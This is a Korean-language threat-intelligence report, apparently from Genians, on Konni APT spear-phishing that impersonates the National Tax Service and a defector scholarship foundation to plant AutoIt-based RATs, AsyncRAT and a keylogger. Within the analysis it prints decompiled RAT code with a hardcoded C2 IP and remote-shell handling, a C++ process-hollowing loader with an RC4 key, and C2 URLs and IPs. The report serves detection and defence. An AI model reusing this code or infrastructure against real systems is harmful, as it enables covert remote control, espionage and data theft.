○ 【Genians Security Center(GSC)】의 조사에 따르면, 마치 금융소득 및 세무조사 관련 안내처럼 위장한 코니(Konni) 공격이 꾸준히 이어지고 있습니다. 주요 타깃은 대북분야 종사자이며, 비트코인 등 가상자산 개인 거래자도 일부 존재합니다.
○ 국내에 관련 사이버 위협이 기승을 부리자, 국세청은 홈페이지 공지사항을 통해 해킹메일 주의안내 를 게시했고, 6월 30일에 보도자료 추가 배포 등 피해 예방에 많은 노력을 기울이고 있습니다.
[그림 1] 국세청 공식 홈페이지 해킹메일 주의 안내 화면
○ 해당 공지사항에 따르면, 「국세청 세무조사 안내문」 등 국세청을 사칭한 해킹메일이 유포 중이며, 국세청에서는 어떠한 경우에도 '세무조사 출석요구'를 이메일로 보내지 않으므로 의심스러운 문구가 있는 경우 열람하지 말고 신고 후 삭제하도록 주의안내 중입니다.
○ 지니언스(Genians)와 안랩(Ahnlab) 등은 지난 해 이와 관련된 유사 사례를 소개한 바 있습니다. 해당 위협은 보통 '바로가기(LNK)' 명령으로 호출된 '스크립트(BAT, VBS)'로 본격적인 공격이 수행됩니다.
Date | Threat Report |
2023-07-31 | 국세청 우편물 발송 알림 사칭 공격 (Konni APT) [Genians] |
2023-09-14 | 국세청을 사칭한 악성 LNK 유포 [Ahnlab] |
[표 1] 주요 위협 분석 보고서 현황
○ 이전 공격에 쓰였던 주요 악성 파일명과 키워드를 정리해 보면, 비슷한 흐름을 파악할 수 있습니다. 주로 세무 조사 내용처럼 현혹해 불안심리를 자극하고, 위협 노출을 유도합니다.
소득세법 | 성실신고확인서 | 자금출처명세서 | 부가가치세법 |
거래사실 | 세무조사신고 | 출석요구 | 소명자료 제출 |
국세징수법 | 종합소득세신고 | 해명자료 제출 | 국세청 |
과세표준증명 | 개인정보수집 | 이용동의서 | 가상자산업 |
수정신고안내 | 사무처리규정 | 탈세제보 | 조사국 |
[표 2] 공격에 쓰인 주요 키워드
○ 과거에 보고된 주요 파일은 △세무조사 신고서류안내.zip △세무조사출석요구.zip △소명자료 제출요청 안내.zip △국세청 종합소득세 신고관련 해명자료 제출 안내.zip △부가가치세 과세표준증명원 제출 안내문.zip △개인정보수집이용동의서.zip 등 압축 내부에 악성 LNK 파일이 존재합니다.
○ 앞서 살펴본 개요와 같이, 본 위협 케이스 역시 전형적 이메일 기반 스피어 피싱(Spear Phishing) 공격으로 시작됩니다.
○ 대체로 첨부된 ZIP 압축 내부에 악성 LNK 파일을 포함해 전달하는데, 이메일내 직접 첨부뿐만 아니라, 특정 웹 서버에 압축 파일을 등록 후 URL 주소로 삽입하기도 합니다. 따라서, 연결된 주소의 공식 여부 비교도 어느정도 의심 요소 식별에 도움이 됩니다.
○ 다만, 공격의 신뢰도를 높이기 위해 실제 국세청 홈택스 도메인(hometax.go[.]kr) 주소로 발신지를 정교하게 조작한 것은 각별히 주의할 점입니다. 참고로 유사 공격 중에는 국세청 공식 도메인(nts.go[.]kr) 주소와 매우 흡사한 가짜 도메인(nta.co[.]kr) 주소가 쓰인 사례도 있습니다.
○ 먼저 본 공격의 전체 위협 흐름을 도표로 살펴보면, 다음과 같습니다. 공격자는 마치 국세청이 발송한 탈세제보 신고에 따른 소명자료 제출 요청 안내처럼 위장하고 있습니다.
[그림 2] 공격 시나리오 간략 흐름도 (일부 ㅇㅇ처리)
○ GSC 위협 인텔리전스 분석에 따르면, '탈세제보 신고에 따른 소명자료 제출 요청 안내.zip' 파일 뿐만 아니라, 테마별로 여러 종류의 공격이 전개된 것으로 파악됐습니다. '북한 내부정보.zip', '안녕하세요! oo재단입니다_20240502TS528974S.zip' 이름 등 다양한 형태의 공격이 식별됐습니다.
○ 위협 행위자는 △국세청 사칭 △탈북민 학생의 장학금 신청서 △북한시장 내부 동향 및 물가 문서처럼 위장한 내용도 사용했습니다.
○ 실제 공격에 사용된 이메일 화면을 살펴보면, 매우 정교하게 디자인된 것을 알 수 있습니다. 마치 국세청을 사칭해 탈세제보 신고에 따른 소명자료 제출 요청 안내처럼 위장한 사례의 경우 발신지가 '국세청 <no-reply.trustmaster@hometax.go[.]kr>' 주소로 실제 홈택스 도메인과 같다는 것을 알 수 있습니다.
[그림 3] 실제 공격에 사용된 이메일 화면 (일부 블러 처리)
○ 위협 행위자는 이메일 발송 서버를 구축해, 발신지 도메인을 진짜처럼 위장할 수 있습니다. 따라서 발송된 이메일 도메인이 공식 주소와 일치하더라도 가짜로 조작될 수 있다는 점을 기억하고 주의해야 합니다. 보통 초기 접근에 쓰인 이메일은 실제 통용되는 디자인을 모방해 공격에 활용합니다. 따라서 평소 보던 디자인과 매우 흡사할 수 있습니다. 본 사례의 경우 국세청 우편물 센터에서 보내온 발송 알림 서비스로 위장됐습니다.
○ 국세청 사칭의 경우, 이메일 본문 하단에 포함된 '첨부문서' 링크를 클릭할 경우 악성 파일이 다운로드 됩니다. 먼저 'google-bidout-jp-d.openx[.]net' 주소의 고유 식별자와 함께 'cammirando[.]com' 서버로 연결되는데, Base64로 인코딩된 수신자의 이메일 주소가 경로에 포함됩니다. 이를 통해 수신자의 접근 여부 등을 조회할 수 있습니다.
○ 탈북민 학생 장학금 신청서 사칭의 경우, 이메일 상단에 마치 hwp와 pptx 문서가 첨부된 것처럼 보입니다. 하지만 이는 마치 첨부 파일처럼 화면을 꾸민 것이고 실제로는 'search-education[.]com' 주소로 연결됩니다. 별도로 이와 유사한 공격 사례 중에는 'nanocanas[.]com 도메인이 사용된 경우가 있고, 워드프레스(WordPress) 기반으로 구축된 것이 공통점 입니다.
○ GSC는 위협 헌팅과 시계열 분석을 통해 공격 시나리오별 순서를 파악했습니다. 초기 공격 시점에 국세청 사칭 공격을 다수 진행합니다. 그 이후 위협에 노출된 단말 내부에 침투 잠복하고, 특정 피해자 상대로 주요 활동 분야를 관찰합니다. 그 과정에서 탈북민 학생 장학금 신청업무 등을 파악해 또 다른 인물에게 접근했습니다.
○ 각 lnk 바로가기 파일은 속성 내부에 하드코딩된 문자열에 의해 특정 명령제어(C2) 서버로 접근하고, 추가 파일을 다운로드 합니다. 다운로드된 파일은 오토잇 'AutoIt3.exe' 모듈과 '.au3' 확장자의 컴파일된 오토잇 스크립트 코드입니다.
No | File Name | File Size | C2 Domain |
1 | 시장통제 관련 내부 동향 및 물가.hwp.lnk | 165,258 Bytes | cammirando[.]com |
2 | 첨부1_소명자료 목록(탈세제보).hwp.lnk | 137,844 Bytes | phasechangesolutions[.]com |
3 | 첨부1_소명자료 목록(탈세제보).hwp.lnk | 140,094 Bytes | jethropc[.]com |
4 | ㅇㅇ재단_24년도장학금신청서.hwp.lnk | 169,912 Bytes | phasechangesolutions[.]com |
5 | 1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk | 2,132,239 Bytes | cavasa.com[.]co |
6 | 첨부1_소명자료 목록(탈세제보).hwp.lnk | 557,293 Bytes | executivedaytona[.]com |
[표 3] LNK 별 C2 서버 비교 (일부 ㅇㅇ처리)
○ 바로가기 파일을 통한 지능형지속위협(APT) 공격은 꾸준히 이어지고 있습니다. 위협 행위자들은 lnk 악성코드 자동 제작 도구까지 개발해 공격에 활용하고 있습니다.
No | File Name | AutoIt Script C2 | Mutex |
1 | 시장통제 관련 내부 동향 및 물가.hwp.lnk | 185.231.154[.]22 [RU] | RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP |
2 | 첨부1_소명자료 목록(탈세제보).hwp.lnk | 62.113.118[.]157 [RU] | RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP |
3 | 첨부1_소명자료 목록(탈세제보).hwp.lnk | 93.183.93.185 [RU] | RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP |
4 | ㅇㅇ재단_24년도장학금신청서.hwp.lnk | 62.113.118[.]157 [RU] | RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP |
5 | 1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk | 62.113.118[.]157 [RU] | RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP |
[표 4] LNK 별 AutoIt Script C2, Mutex 비교 (일부 ㅇㅇ처리)
○ 먼저 국세청을 사칭해 배포됐던 '탈세제보 신고에 따른 소명자료 제출 요청 안내.zip' 압축 내부에는 2개의 파일이 포함돼 있습니다.
[그림 4] 압축 내부에 포함된 목록 화면
○ 그 중에 '첨부1_소명자료 목록(탈세제보).hwp.lnk' 파일이 문서로 위장한 이중 확장자인 것을 알 수 있습니다. 바로가기 파일의 내부 데이터를 파싱해 보면, PowerShell 명령을 통해 하드코딩된 미끼(Decoy)용 hwp 문서를 보여주게 됩니다.
[그림 5] 바로가기 파일 속성 내부 명령어
○ 해당 hwp 문서는 lnk 파일이 실행된 직후 동일 경로의 파일로 대체됩니다. 따라서 기존 바로가기형 악성 파일은 사라지고, 미끼용 정상 문서 내용이 실행됩니다.
○ 미끼 문서 본문에는 국세징수법 시행규칙 별지 서식 표현과 함께 소명자료 목록 템플릿 내용이 담겨져 있어, 외형상 정상 문서가 실행된 것처럼 착각하게 됩니다.
[그림 6] 악성파일 실행시 보여지는 정상 HWP 문서 파일
○ 이와 동시에 C 드라이브 루트 경로에 'QyvXzoE' 폴더를 숨김 속성으로 만들고, 시스템 폴더 경로에 존재하는 'curl.exe' 파일을 'QyvXzoE.exe' 파일명으로 복사합니다.
○ 그리고 'phasechangesolutions[.]com' C2 주소로 접속해 'AutoIt3.exe', 'zXLGKyU.au3' 파일을 다운로드 합니다. 여기서 생성된 'zXLGKyU.au3' 오토잇 스크립트 파일 내부에는 백신 프로그램 탐지나 분석을 방해하기 위해 더미 코드가 삽입돼 있습니다.
[그림 7] C 드라이브에 생성된 폴더와 파일 모습
○ 'zXLGKyU.au3' 파일은 위협 행위자가 시간차를 두고 공격하거나, 목적 및 의도에 따라 파일을 변경할 수 있습니다.
○ 해당 파일은 오프셋 '0000f4240' 번지부터 '컴파일된 오토잇 스크립트(a3x)' 구조가 시작되며, 3.26 버전 이상부터 'EA06' 매직 문자열이 사용됩니다.
[그림 8] 컴파일된 오토잇 스크립트 시작 문자열
○ 그 다음 오프셋 '000140413' 위치에 종료 매직 문자열이 존재합니다.
[그림 9] 컴파일된 오토잇 스크립트 마지막 문자열
○ Autoit-Ripper 도구를 통해 디컴파일(Decompile) 과정을 수행할 수 있고, 이를 통해 오토잇 스크립트 코드를 획득할 수 있습니다.
[그림 10] 오토잇 디컴파일 모습
○ 오토잇 스크립트 파일 내부에는 다음과 같은 주석 문구를 포함하고 있어, 악성 오토잇 스크립트 개발 경로와 파일명을 파악할 수 있습니다. 위협 행위자는 'Lilith.a3x' 이름을 사용했습니다.
○ 참고로 위키백과에 따르면 'Lilith'는 유대신화, 바빌로니안 탈무드, 메소포타미아 문헌 등 주로 여성으로 등장하며, 유대신화에는 아담의 첫째 아내로 언급됐습니다.
[그림 11] 오토잇 스크립트 내부 주석 문구 화면
○ 악성 오토잇 스크립트 Outfile 경로에 '3_Attack Weapon' 폴더명이 사용된 점도 눈에 띕니다.
D:\3_Attack Weapon\Autoit\Build\Lilith\Lilith.a3x |
[표 5] 주석 문구에 포함된 개발 경로 정보
○ 디컴파일된 오토잇 스크립트 파일(우측)은 오픈소스로 공개돼 있는 'Lilith' 깃허브 내 'cmdRedirect.cpp' 함수 중 'writeCMD', 'readCMD' 코드(좌측)와 유사합니다.
void CMD::writeCMD(std::string command)
// 일부 생략
Client::clientptr->SendString("Couldn't write command '" + command + "' to stdIn.",
PacketType::Warning);} else
Client::clientptr->SendString(
"Couldn't write to CMD: CMD not open",
|
Func WRITECMD ( $COMMAND )
// 일부 생략
SENDSTRING ( "Couldn't write command '" & $COMMAND & "' to stdIn." , 2 )
EndIf
Else
SENDSTRING (
"Couldn't write to CMD: CMD not open" , 2 )
|
[표 6] WRITECMD 함수 비교 (일부 수정)
std::string CMD::readCMD()
{
if (cmdOpen)
{
DWORD bytesAvailable = 0;
DWORD bytesRead = 0;
int intBytesAvailable = 0;
char buffer[128] = "";
std::string output;
do {
PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL);
Sleep(50);
} while (bytesAvailable <= 0);
intBytesAvailable = bytesAvailable;
while (intBytesAvailable > 0)
{
ReadFile(g_hChildStd_OUT_Rd, buffer, 127, &bytesRead, NULL);
// 일부 생략
ZeroMemory(buffer, 128);
}
return output;
}
else
return "CMD is not open";
}
|
Func READCMD ( )
If $CMDOPEN Then
Local $BYTESAVAILABLE = 0
Local $BYTESREAD = 0
Local $INTBYTESAVAILABLE = 0
Local $OUTPUT
Local $BUFFER = DllStructCreate ( "byte Text[128]" )
Sleep ( 3000 )
$AINFO =
_NAMEDPIPES_PEEKNAMEDPIPE ( $G_HCHILDSTD_OUT_RD )
$BYTESAVAILABLE = $AINFO [ 2 ]
If $BYTESAVAILABLE = 0 Then Return ""
$INTBYTESAVAILABLE = $BYTESAVAILABLE
While $INTBYTESAVAILABLE > 0
_WINAPI_READFILE ( $G_HCHILDSTD_OUT_RD , $BUFFER , 127 , $BYTESREAD )
// 일부 생략
MYZEROMEMORY ( DllStructGetPtr ( $BUFFER ) , 128 ) WEnd
Return BinaryToString
( $OUTPUT )
Else
Return "CMD is not open"
EndIf
|
[표 7] READCMD 함수 비교 (일부 수정)
○ 더불어 'general.cpp' 파일의 'remoteControl' 함수 부분도 유사합니다.
else if (processParameter(command, "remoteControl"))
{
if (!CMD::cmdOpen)
{
if (command == "cmd")
command = "C:\\WINDOWS\\system32\\cmd.exe";
else if (command == "pws")
command = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
else if (command == "pws32")
command = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe";
// 일부 생략
return "CMD session opened.";}
else
return "File doesn't exist.";
}
else {
CMD::cmdptr->writeCMD("exit");
CMD::cmdOpen = false;
return "CMD session closed"; }
}
else {
return "Command '" + command + "' was not recognized.";
|
Local $CMD = PROCESSPARAMETER ( $COMMAND , "remoteControl" )
If Not @error Then
If Not $CMDOPEN Then
Local $PATH
If $CMD = "cmd" Then
$PATH = "C:\Windows\System32\cmd.exe"
ElseIf $CMD = "pws" Then
$PATH = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
ElseIf $CMD = "pws32" Then
$PATH = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
// 일부 생략
Return "CMD session opened."
Else
Return "File doesn't exist."
EndIf
Else
WRITECMD ( "exit" )
$CMDOPEN = False
Return "CMD session closed"
EndIf
Else
Return "Command '" & $COMMAND & "' was not recognized."
|
[표 8] remoteControl 함수 비교 (일부 수정)
○ 본 위협 행위자는 2017년 경 깃허브에 공개된 Lilith C++ 'RAT(Remote Administration Tool)' 소스코드를 오토잇 스크립트로 일부 변환해 사용했을 것으로 추정됩니다. Lilith RAT은 콘솔 기반 경량 RAT 종류로 원격 명령 실행이 가능합니다.
○ 악성 오토잇 스크립트 명령이 호출되면 내부에 선언된 러시아 소재의 C2 서버로 접속을 시도합니다. 이때 중복 실행 방지용 뮤텍스명을 설정합니다.
Global $SERVER_IP = "62.113.118[.]157"
Global $SERVER_PORT = 57860
Global $BUFFER_SIZE = 1024
Global $HWS2_32
Global $SOCKET
Global $CONNECTED = False
Global $CMDOPEN = False
Global $CMDPTR = False
Global $G_HCHILDSTD_OUT_RD
Global $G_HCHILDSTD_OUT_WR
Global $G_HCHILDSTD_IN_RD
Global $G_HCHILDSTD_IN_WR
Global $G_HPROCESSID
Global $MUTEXNAME = "Global\RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP"
|
[표 9] 오토잇 스크립트 C2 설정 부분 (일부 수정)
○ 'AutoIt3.exe' 파일에 의해 C2 주소로 원격 접속을 시도합니다.
[그림 12] C2 원격 접속 시도 모습
○ 작업스케줄러에 'zXLGKyU' 이름으로 트리거를 등록해 1분마다 무기한으로 반복 실행되도록 설정합니다. 컴파일된 오토잇 스크립트가 작동하면, 내부 조건에 따라 작업 스케줄러 명령이 삭제될 수 있습니다.
[그림 13] 작업 스케줄러 등록 화면
○ 그리고 시작프로그램 위치에 'Start_Web.lnk' 바로가기를 만들어 지속성을 유지하며, 러시아 소재의 C2서버와 통신을 시도해 추가 명령을 수행할 수 있습니다.
[그림 14] 시작 프로그램 등록 화면
○ 두번째는 탈북민 학생 장학금 신청서로 위장된 사례입니다. 해당 공격은 특정 사단법인 재단 소속의 장학금 지원 담당자가 앞서 설명한 국세청 사칭 이메일 공격에 속아 내부 정보가 탈취된 후 진행된 후속 공격 입니다.
○ 2024년 6월에 진행될 재단 이사회에서 탈북학생 장학금 추가지원에 대해 토의를 진행할 예정이라며, 장학금 신청서 양식을 보내는 방식으로 공격이 진행됐습니다.
○ 본 공격은 침해된 장학금 담당자의 실제 이메일 계정이 도용됐고, 위협 행위자는 흔적을 지우기 위해 발신함에서 기록을 삭제하는 등 주도 면밀한 공격을 수행했습니다. 특히, 앞서 성공된 국세청 사칭 공격의 의심과 노출을 피하기 위해 마치 잘못 발송된 메일처럼 안내하는 과감한 적극성을 보입니다.
[그림 15] 발송 오류 안내로 위장된 화면 (일부 블러 처리)
○ 당시 안내 메일은 국세청 조사국을 사칭하였는데, 얼핏 보기에 발신자가 국세청 공식 주소(nta.go[.]kr)와 유사하지만, 상위 도메인(TLD, SLD)을 자세히 살펴보면 'go.kr' 주소가 아닌 'co.kr' 도메인 주소로 전혀 다른 웹 사이트인 것을 알 수 있습니다.
○ 그리고 'believeinsanta[.]com (162.241.253[.]27)' 주소가 실제 발송지인 것을 알 수 있습니다. 아울러 유사 공격에 쓰인 발신지 중에 'balabushkapoolcues[.]com (162.241.216[.]224)' 주소도 존재하는데, 두곳 모두 블루호스트(bluehost[.]com)와 연결되는 공통점이 있습니다. 더불어 드림호스트(dreamhost[.]com) 활용 사례도 존재합니다.
[그림 16] 이메일 발송 경로 접근 화면
○ 위협 행위자는 아래와 같은 경로에 메일 발송기를 구축해 주소를 임의설정해 활용했습니다.
○ 이처럼 이메일 발신자 조작 공격이 기술적으로 가능하다는 점을 명심하고, 수상한 첨부파일은 접근하기 전에 전화 등으로 사실확인을 진행하는 노력이 필요합니다.
balabushkapoolcues[.]com/store/wp-content/plugins/gravity_mod/mail_mailsender.php |
[표 10] 이메일 공격에 쓰인 발송기 정보
○ 초기 공격에는 여러 C2 서버가 사용됐는데, 악성 파일 전달에 쓰인 대표적인 주소는 다음과 같습니다.
search-education[.]com/wp-admin/js/widgets/town/?ra=group(month, day)&gr=(email base64)&zw=안녕하세요! ㅇㅇ재단입니다_20240502TS528974S.zip |
nanocanas[.]com/wp-admin/js/widgets/town/?ra=group(month, day)&gr=(email base64)&zw=안녕하세요! ㅇㅇ재단입니다.zip |
[표 11] 악성 파일 전달에 쓰인 C2 주소 (일부 수정)
○ 마치 탈북 학생 장학금 신청서로 위장한 공격 역시 국세청 사칭 때와 동일하게 zip 압축 파일 내부에 정상 문서와 '이중 확장자의 바로가기(hwp.lnk)' 악성 파일이 포함돼 있습니다.
[그림 17] 압축 파일 내부에 숨겨진 악성 파일 모습 (일부 블러 처리)
○ zip 압축 내부 'ㅇㅇ재단_24년도장학금신청서.hwp.lnk' 파일로 공격이 수행됩니다.
○ 파일 내부 구조는 앞서 살펴본 '첨부1_소명자료 목록(탈세제보).hwp.lnk' 형태에서 구문 분석방해 목적의 무작위 난독화 문자열 삽입 등 일부 변형됐지만, C2 서버 주소가 정확히 일치한 것을 볼 수 있습니다.
[그림 18] 바로가기 파일 속성 내부 C2 주소
○ 여기서 오토잇 스크립트 다운로드 대상 폴더의 이름은 변경됐지만, 국세청 사칭 건과 동일한 스크립트가 생성됩니다. 따라서, 앞서 기술한 분석 내용과 같습니다.
첨부1_소명자료 목록(탈세제보).hwp.lnk | phasechangesolutions[.]com/wp-admin/css/colors/coffee/hurryup/?rv=super^&za=mongo0 |
ㅇㅇ재단_24년도장학금신청서.hwp.lnk | phasechangesolutions[.]com/wp-admin/css/colors/coffee/hurryup/?rv=super^&za=mongo0 |
[표 12] C2 서버 주소 비교
○ 본 위협 행위자는 초기 침투 성공에 대비해 다양한 C2 서버를 준비했습니다. 감염 단말 시스템 관찰 및 내부 자료 탈취 등을 위해 추가 백도어(Backdoor)도 설치합니다.
○ GSC는 실제 피해 단말 시스템 조사를 통해 다수의 악성 파일을 채증했습니다. 이들은 컴파일된 AutoIT 스크립트 명령을 통해 탐지 회피를 시도하는데 집중했습니다. 여기서 흥미로운 점은 '한컴오피스 2018' 제품에 포함된 '한컴 문서찾기(HncFinder.exe)' 파일이 악성 오토잇 스크립트 파일 경로에서 함께 발견됐습니다.
[그림 19] 추가로 설치된 폴더 및 파일들
○ 그리고 MS 엣지 브라우저 설정으로 위장된 작업 스케줄러를 통해, 컴파일된 오토잇 스크립트가 실행되는 설정이 확인됐습니다.
[그림 20] 작업 스케줄러 등록 화면
○ 한컴 문서찾기 프로그램은 hwp 문서 내부에 포함된 특정 키워드 기반 검색이 가능합니다. 다만, 위협 행위자는 그런 용도로 사용한 것은 아닙니다. 결론적으로 C# 기반으로 개발된 'HncFinder.exe' 정상 모듈에 'AsyncRAT' 닷넷 코드를 프로세스 할로잉 기법을 통해 인젝션합니다. 이를 통해 Anti-Virus 탐지 회피에 사용했습니다.
[그림 21] 오토잇 스크립트 명령어와 서치 스트링 위치
○ 보다 자세한 내용은 'ustayready' 깃허브에 공개된 '프로세스 할로잉과 PE 재배치(Process Hollowing and Portable Executable Relocations)' 내용을 참조하면 도움이 됩니다.
○ 상기 깃허브 공개 코드에서 RC4 Decrypt 로직과 키값 그리고 중단(SUSPENDED) 대상 모듈 'HncFinder.exe', 46,080 크기의 'cliconfg.au3' 소스 파일 부분을 적용한 함수는 다음과 같습니다.
int rc4_decrypt(const BYTE* encrypted_data, DWORD data_len, const BYTE* key, DWORD key_len, BYTE* decrypted_data) {
HCRYPTPROV hProv = 0;
HCRYPTKEY hKey = 0;
HCRYPTHASH hHash = 0;
BOOL result = FALSE;
DWORD decrypted_data_len = data_len;
int ret = -1;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
printf("CryptAcquireContext failed: %x\n", GetLastError());
goto cleanup;
}
if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {
printf("CryptCreateHash failed: %x\n", GetLastError());
goto cleanup;
}
if (!CryptHashData(hHash, key, key_len, 0)) {
printf("CryptHashData failed: %x\n", GetLastError());
goto cleanup;
}
if (!CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &hKey)) {
printf("CryptDeriveKey failed: %x\n", GetLastError());
goto cleanup;
}
memcpy(decrypted_data, encrypted_data, data_len);
if (!CryptDecrypt(hKey, 0, TRUE, 0, decrypted_data, &decrypted_data_len)) {
printf("CryptDecrypt failed: %x\n", GetLastError());
goto cleanup;
}
ret = 0;
cleanup:
if (hHash) CryptDestroyHash(hHash);
if (hKey) CryptDestroyKey(hKey);
if (hProv) CryptReleaseContext(hProv, 0);
return ret;
}
|
int main()
{
// create destination process - this is the process to be hollowed out
LPSTARTUPINFOA si = new STARTUPINFOA();
LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
DWORD returnLenght = 0;
CreateProcessA(NULL, (LPSTR)"HncFinder.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
HANDLE destProcess = pi->hProcess;
// get destination imageBase offset address from the PEB
NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8;
// get destination imageBaseAddress LPVOID destImageBase = 0;
SIZE_T bytesRead = NULL;
ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 4, &bytesRead);
// read source file - this is the file that will be executed inside the hollowed process
HANDLE sourceFile = CreateFileA("cliconfg.au3", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
//DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
DWORD sourceFileSize = 46080 + 1;
LPDWORD fileBytesRead = 0;
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
BYTE key[] = "VoZmlvd2hlZm5vd2VmaGV3";
BYTE decrypted_data[46080 + 1];
rc4_decrypt((BYTE*)sourceFileBytesBuffer, sourceFileSize, key, 22, decrypted_data);
memcpy_s(sourceFileBytesBuffer, sourceFileSize, decrypted_data, sourceFileSize);
|
[표 13] 프로세스 할로잉 일부 로직
○ 인젝션된 C2 설정 문자열은 암호화된 상태이며, 내부에 포함된 AES-256 Key 등을 통해 복호화 됩니다. 호스트는 '5.161.182[.]109 [US]' 주소이며, '53690' 포트를 사용합니다. 그리고 뮤텍스 명으로 'AsyncMutex_6SI8OkPnk' 값을 통해 중복 실행을 방지하는 전형적 'AsyncRAT' 입니다.
[그림 22] AsyncRAT 코드 내부에 암호화된 주요 문자열
○ 분석 대상에 쓰인 모듈의 암호화된 문자열은 'CyberChef' 레시피(Recipe)를 통해 복호화 흐름을 확인할 수 있습니다.
[그림 23] CyberChef 디코딩 화면
○ 본 조사는 인젝션된 모듈이 어떤 유형인지 파악하는데 주된 목적이 있습니다. 따라서 보다 상세한 내용이 필요하다면, 'Abdallah Elnoty의 Playing with AsyncRAT' 정보를 참조하시거나, 2023년 10월에 공개된 'AsyncRAT v0.5.8' 소스코드와 비교해 볼 수 있습니다.
○ GSC는 조사과정 중 특정 피해자 공용폴더(Public) 하위 경로에 숨겨진 또 다른 오토잇 스크립트를 발견했습니다. 이 곳에는 'AutoIt3.exe' 정상 파일과 컴파일된 악성 오토잇 스크립트 'cliconfg.au3' 파일 두개만 존재했습니다. 앞서 살펴본 사례와 파일명은 동일하지만, 'HncFinder.exe' 파일은 없습니다.
○ 컴파일된 오토잇 스크립트를 디컴파일하면, 앞서 기술한 코드와는 조금 다른 형태가 나타납니다.
[그림 24] 오토잇 스크립트 디컴파일 화면
○ 컴파일된 오토잇 스크립트에서 헤더 문자열을 검색하고, 해당 문자열 이전의 내용을 읽어와 AES-256 복호화 후 '%windir%\system32\cleanmgr.exe' 경로에 존재하는 '디스크 정리' 응용 프로그램에 악성 코드 인젝션을 시도합니다.
○ 기존에는 'HncFinder.exe' 파일을 함께 생성해 인젝션한 반면, 이번 경우는 시스템에 존재하는 정상 모듈을 사용한 차이가 있습니다.
○ 추가 모듈은 중복 실행 방지를 위해 뮤텍스(Mutex) 값을 설정하여 작동합니다. 뮤텍스는 '4FAA3651-4542-872A-69AA-EBA8C765E100' 문자열로 구성됩니다. 그리고 C2 서버 '5.75.181[.]118 [DE]' 주소로 접속해 추가 명령을 대기 합니다.
○ 악성 코드 내부 Dialog 문자열에는 'RFTServer, Version 1.0' 표현이 포함돼 있으며, 이런 종류의 악성 파일 시리즈는 'RftRAT' 이름으로 명명돼 있습니다.
[그림 25] 오토잇 스크립트 디컴파일 화면
○ 더불어 'C:\ProgramData\Casio' 경로에는 'svc.exe' 파일이 발견됐는데, 이 파일은 사설 아이피에 RDP(3389 포트) 연결을 위한 포트 포워딩(Port Forwarding) 역할을 시도합니다. 참고로 포트 포워딩이란 내부 네트워크의 포트와 인터넷의 포트를 연결시켜 서로 통신할 수 있도록 열어주게 됩니다. 그리고 'setting.ini' 파일을 통해 '5.78.68[.]117 [US]' 주소를 할당합니다.
[그림 26] 포트 포워딩 코드 분석 화면
○ 유무선 공유기, NAT 환경 등으로 외부에서 원격데스크톱(RDP) 접속이 불가한 환경에 역방향 세션을 허용하고, RDP 터널링으로 원격 접속이 허용됩니다.
○ 더불어 'ProgramData' 하위 'Startup' 경로에서 'Spoolsv.exe' 이름의 악성 파일도 발견됐습니다. 이 파일은 마치 프린터 스풀러 서비스처럼 위장하며, 'VMProtect' 프로그램으로 보호돼 있습니다.
○ 이 파일은 키로깅(Keylogging) 기능을 수행하며, 'C:\ProgramData\Casio\locale' 경로에 'en.lang' 이름에 키보드 및 클립보드 내용을 저장하게 됩니다.
[그림 27] 키로거와 키로그 파일 모습
○ 아울러 'C:\ProgramData\Casio' 경로에서 'debug.log' 파일이 채증됐습니다. 이 로그 생성에 관여된 것으로 추정되는 'taskhosts.exe', 'taskhostsu.exe' 파일은 제거된 상태로 발견되지 않았습니다. 그외에 공용 폴더 경로에서 'Log64.txt' 이름의 텍스트 파일이 발견됐습니다.
○ 과거 유사 사례를 봤을 때, 이 파일들은 이용자의 로그온과 로그오프를 모니터링하고, 평소 활동 시간대를 관찰합니다. 이 정보로 이용자의 유휴 시간대를 예측해 RDP 접속 시도에 활용할 수 있습니다.
○ 이처럼 위협 행위자는 초기 공격 성공 이후에 다양한 악성 모듈을 추가 설치해 원격제어 시도 및 내부 정보 수집과 탈취를 시도했습니다.
○ lnk 바로가기를 이용한 공격은 3분기에도 유효한 상황입니다. 위협 행위자들은 내부 공격 패턴을 계속 바꿔가며, 탐지 우회를 시도하고 있습니다.
○ 단말 초기 침투에 성공할 경우 컴파일된 오토잇(AutoIt) 스크립트를 추가 설치해 지속성 유지 및 내부 잠복에 적극 활용하고 있습니다.
○ 오토잇을 이용한 공격이 백신 프로그램 패턴 탐지 회피에 악용되는 만큼, 기업 및 기관에서는 단말 이상행위 자체를 탐지하는 적절한 대응 방안이 필요합니다.
